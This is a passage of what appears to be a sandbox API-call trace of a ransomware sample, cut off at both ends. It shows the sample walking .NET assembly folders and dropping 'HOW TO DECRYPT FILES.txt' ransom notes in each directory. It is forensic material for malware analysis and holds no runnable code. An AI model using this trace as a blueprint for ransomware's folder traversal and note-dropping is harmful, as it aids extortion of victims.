(lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\sentinel.v3.5client\\3.5.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0101.490] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\sentinel.v3.5client\\3.5.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.501] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.501] CloseHandle (hObject=0x90) returned 1 [0101.501] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\", lpString2="Sentinel.v3.5Client.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\Sentinel.v3.5Client.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\Sentinel.v3.5Client.dll" [0101.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\Sentinel.v3.5Client.dll", pszSpec="*.ems") returned 0 [0101.502] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291775b2, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x291775b2, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x8e6a149c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Sentinel.v3.5Client.dll", cAlternateFileName="")) returned 0 [0101.502] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.502] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b03f5f7f11d50a3a", cAlternateFileName="350~1.0__")) returned 0 [0101.502] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.502] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650053, dwReserved1=0x74006e, cFileName="SMDiagnostics", cAlternateFileName="SMDIAG~1")) returned 1 [0101.502] lstrcmpA (lpString1=".", lpString2="SMDiagnostics") returned -1 [0101.502] lstrcmpA (lpString1="..", lpString2="SMDiagnostics") returned -1 [0101.502] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.502] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="SMDiagnostics" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics") returned="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics" [0101.503] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.503] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.504] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.504] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.504] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.504] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf494004, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf494004, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__b77a5c561934e089", cAlternateFileName="300~1.0__")) returned 1 [0101.504] lstrcmpA (lpString1=".", lpString2="3.0.0.0__b77a5c561934e089") returned -1 [0101.504] lstrcmpA (lpString1="..", lpString2="3.0.0.0__b77a5c561934e089") returned -1 [0101.504] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\*.*") returned="*.*" [0101.504] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\", lpString2="3.0.0.0__b77a5c561934e089" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089") returned="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089" [0101.504] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf494004, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf494004, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.505] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.505] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf494004, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf494004, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.505] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.505] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.505] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b64990, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9b64990, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9b64990, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMdiagnostics.dll", cAlternateFileName="")) returned 1 [0101.505] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.505] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SMdiagnostics.dll") returned -1 [0101.505] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SMdiagnostics.dll") returned -1 [0101.505] lstrcmpiA (lpString1="", lpString2="SMdiagnostics.dll") returned -1 [0101.505] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.505] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\" [0101.505] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\") returned="" [0101.505] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\HOW TO DECRYPT FILES.txt" [0101.505] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\smdiagnostics\\3.0.0.0__b77a5c561934e089\\how to decrypt files.txt")) returned 0xffffffff [0101.506] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\smdiagnostics\\3.0.0.0__b77a5c561934e089\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.617] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.618] CloseHandle (hObject=0x90) returned 1 [0101.618] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\", lpString2="SMdiagnostics.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\SMdiagnostics.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\SMdiagnostics.dll" [0101.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\SMDiagnostics\\3.0.0.0__b77a5c561934e089\\SMdiagnostics.dll", pszSpec="*.ems") returned 0 [0101.618] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b64990, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9b64990, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9b64990, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMdiagnostics.dll", cAlternateFileName="")) returned 0 [0101.618] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.618] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf494004, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf494004, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__b77a5c561934e089", cAlternateFileName="300~1.0__")) returned 0 [0101.618] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.619] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0053, dwReserved1=0x690044, cFileName="SMSvcHost", cAlternateFileName="SMSVCH~1")) returned 1 [0101.619] lstrcmpA (lpString1=".", lpString2="SMSvcHost") returned -1 [0101.619] lstrcmpA (lpString1="..", lpString2="SMSvcHost") returned -1 [0101.619] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.619] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="SMSvcHost" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost") returned="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost" [0101.619] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.620] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.620] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.620] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.620] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.620] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc13abf9d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc13abf9d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="300~1.0__")) returned 1 [0101.620] lstrcmpA (lpString1=".", lpString2="3.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.620] lstrcmpA (lpString1="..", lpString2="3.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.620] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\*.*") returned="*.*" [0101.620] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\", lpString2="3.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a" [0101.620] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc13abf9d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc13abf9d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.621] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.621] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc13abf9d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc13abf9d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.621] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.621] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.621] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa99e7bcd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa99e7bcd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99e7bcd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f750, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMSvcHost.exe", cAlternateFileName="")) returned 1 [0101.621] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.621] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SMSvcHost.exe") returned -1 [0101.621] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SMSvcHost.exe") returned -1 [0101.621] lstrcmpiA (lpString1="", lpString2="SMSvcHost.exe") returned -1 [0101.621] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.621] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\" [0101.621] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.621] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0101.621] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\smsvchost\\3.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0101.622] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\smsvchost\\3.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.625] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.625] CloseHandle (hObject=0x90) returned 1 [0101.625] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\", lpString2="SMSvcHost.exe" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\SMSvcHost.exe") returned="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\SMSvcHost.exe" [0101.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\SMSvcHost\\3.0.0.0__b03f5f7f11d50a3a\\SMSvcHost.exe", pszSpec="*.ems") returned 0 [0101.625] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa99e7bcd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa99e7bcd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99e7bcd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f750, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMSvcHost.exe", cAlternateFileName="")) returned 0 [0101.625] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.626] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc13abf9d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc13abf9d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="300~1.0__")) returned 0 [0101.626] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.626] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0053, dwReserved1=0x760053, cFileName="SonicMCEBurnEngine", cAlternateFileName="SONICM~1")) returned 1 [0101.626] lstrcmpA (lpString1=".", lpString2="SonicMCEBurnEngine") returned -1 [0101.626] lstrcmpA (lpString1="..", lpString2="SonicMCEBurnEngine") returned -1 [0101.626] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.626] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.627] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.627] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.627] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.627] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.627] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0101.627] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.627] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.627] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\*.*") returned="*.*" [0101.627] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: 